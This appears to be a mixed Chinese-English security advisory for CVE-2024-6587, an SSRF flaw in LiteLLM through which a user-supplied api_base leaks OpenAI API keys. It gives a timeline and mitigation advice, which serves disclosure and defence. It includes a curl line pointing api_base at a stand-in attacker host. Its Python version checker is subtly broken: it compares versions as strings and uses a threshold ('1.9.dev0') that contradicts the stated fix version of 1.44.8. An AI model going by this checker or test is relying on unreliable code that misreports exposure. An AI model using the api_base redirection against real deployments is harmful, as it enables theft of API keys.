LiteLLM 服务器端请求伪造 (SSRF) 漏洞

该 SSRF 漏洞允许攻击者通过 apibase 参数指定请求的目标域名。当用户通过 POST /chat/completions 接口发送请求时，应用程序会将请求发送到攻击者指定的域名。更严重的是，此请求会包含 OpenAI API 密钥。攻击者可以利用此漏洞将 apibase 设置为自己的域名，从而拦截 OpenAI API 密钥。一旦获得 API 密钥，攻击者就可以冒充合法用户，访问 OpenAI 服务，执行未经授权的操作，例如生成文本、调用模型等，造成严重的经济损失和声誉损害。此漏洞的潜在影响包括数据泄露、服务中断以及未经授权的 API 使用。

Applications utilizing the berriai/litellm library, particularly those integrated with OpenAI services, are at risk. Environments where the api_base parameter is not properly validated or sanitized are especially vulnerable. Shared hosting environments where multiple users might interact with the litellm application are also at increased risk.

• python / library:

import os
import subprocess

def check_litellm_version():
    try:
        result = subprocess.check_output(['pip', 'show', 'litellm'], stderr=subprocess.STDOUT, text=True)
        version_line = [line for line in result.splitlines() if 'Version:' in line]
        if version_line:
            version = version_line[0].split(': ')[1].strip()
            if version <= '1.9.dev0':
                print(f"[!] litellm version {version} is vulnerable to CVE-2024-6587. Upgrade to 1.44.8 or later.")
            else:
                print("[+] litellm version is not vulnerable.")
        else:
            print("[!] Could not determine litellm version.")
    except FileNotFoundError:
        print("[!] litellm is not installed.")

check_litellm_version()

• generic web:

curl -I 'http://your-litellm-app/chat/completions?api_base=http://attacker.com' | grep api_base

1. 2024-09-13Disclosure

   disclosure

2. 2024-09-13Patch

   patch

1. 已保留2024-07-08
2. 发布日期2024-09-13
3. EPSS 更新日期2026-04-02

解决 CVE-2024-6587 的主要方法是升级到 litellm 1.44.8 或更高版本。如果无法立即升级，可以考虑以下临时缓解措施：首先，严格限制 apibase 参数的输入来源，只允许来自可信来源的输入。其次，实施输入验证和过滤，确保 apibase 参数的值符合预期的格式和域名。此外，可以考虑使用 Web 应用防火墙 (WAF) 或代理服务器来检测和阻止恶意的 SSRF 请求。最后，定期审查应用程序的配置和代码，以识别和修复潜在的安全漏洞。